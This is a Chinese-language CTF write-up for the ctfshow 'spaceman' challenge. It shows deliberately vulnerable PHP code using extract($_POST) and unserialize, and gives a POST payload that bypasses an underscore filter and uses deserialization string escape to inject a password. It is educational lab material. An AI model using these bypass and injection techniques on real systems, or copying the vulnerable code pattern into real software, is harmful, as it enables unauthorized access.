> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2021/2021-ctfshow-djbctf/spaceman.md).

# spaceman

```php
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
    public $username;
    public $password;
    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
    public function __wakeup()
    {
        if($this->password==='ctfshowvip')
        {
            include("flag.php");
            echo $flag;    
        }
        else
        {
            echo 'wrong password';
        }
    }
}
function filter($string){
    return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){            
    die("I am sorry but you have to leave.");
}else{
    extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
```

这题是在POST中过滤了下划线，导致传参无法传入下划线。

但实际上只要用其他字符例如空格或者＋替代下划线就可以了，比如这样（非预期）：

![](https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FYA5By2TiRyc8455eUtGt%2F1.png?alt=media\&token=3aa27328-63c1-4302-b5d7-7639e16e96f4)

预期：[web-反序列化+php://input与post](https://webcache.googleusercontent.com/search?q=cache:BworQUf9BcEJ:https://blog.csdn.net/WFC1006848997/article/details/112915168+\&cd=1\&hl=zh-CN\&ct=clnk\&gl=hk)

简单的反序列化逃逸，只不过以前是传入对象正向逃逸，这个是传入变量反向逃逸。

```
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip
```

这里涉及到了一个有关`extract($_POST)`与`php://input`的区别。`php://input`无法读取`Content-Type`为`multipart/form-data`的POST数据 ，当遇到`Content-Type`为`multipart/form-data`的POST数据就默认为空值。从而绕过正则。

但其实就很简单，不需要反序列化，直接POST传参就可以了。

<figure><img src="https://1298837596-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUlxElCQcjylbSFsJycU3%2Fuploads%2FegyC8wUQsmrApgDONQdC%2F1.png?alt=media&amp;token=5fd9cb2c-04ad-44e5-bd6f-6a8b6a315d8b" alt=""><figcaption></figcaption></figure>